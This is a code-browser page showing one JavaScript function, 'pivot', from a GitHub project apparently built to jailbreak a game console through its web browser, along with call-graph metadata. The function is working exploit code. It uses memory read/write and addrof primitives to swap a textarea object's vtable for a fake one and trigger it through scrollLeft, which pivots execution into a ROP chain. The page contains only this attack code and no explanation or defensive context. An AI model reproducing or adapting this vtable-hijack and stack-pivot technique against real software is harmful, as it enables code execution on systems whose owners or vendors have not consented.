MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / pivot

Function pivot

900v2/rop2.js:70–90  ·  view source on GitHub ↗
(buf)

Source from the content-addressed store, hash-verified

68* jump to `pivot_addr` to return
69*/
70function pivot(buf)
71{
72 var ans = malloc(0x400);
73 var bak = read_ptr_at(fake_vtable+0x1c8/*0x1d8*/);
74 write_ptr_at(fake_vtable+0x1c8/*0x1d8*/, saveall_addr);
75 //write_ptr_at(fake_vt_ptr, 1);
76 write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr);
77 tarea.scrollLeft = 0;
78 write_ptr_at(addrof(tarea)+0x18, real_vt_ptr);
79 write_mem(ans, read_mem(fake_vt_ptr, 0x400));
80 write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400));
81 var bak = read_ptr_at(fake_vtable+0x1c8/*0x1d8*/);
82 write_ptr_at(fake_vtable+0x1c8/*0x1d8*/, pivot_addr);
83 write_ptr_at(fake_vt_ptr+0x38, buf);
84 write_ptr_at(ans+0x38, read_ptr_at(ans+0x38)-16);
85 write_ptr_at(buf, ans);
86 write_ptr_at(addrof(tarea)+0x18, fake_vt_ptr);
87 tarea.scrollLeft = 0;
88 write_ptr_at(addrof(tarea)+0x18, real_vt_ptr);
89 write_mem(fake_vt_ptr, read_mem(fake_vt_ptr_bak, 0x400));
90}

Callers 2

relocator.jsFile · 0.70
call_nativeFunction · 0.70

Calls 6

mallocFunction · 0.70
read_ptr_atFunction · 0.50
write_ptr_atFunction · 0.50
addrofFunction · 0.50
write_memFunction · 0.50
read_memFunction · 0.50

Tested by

no test coverage detected